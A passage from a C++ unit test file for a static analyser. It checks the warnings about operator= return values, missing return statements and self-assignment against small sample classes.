ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n 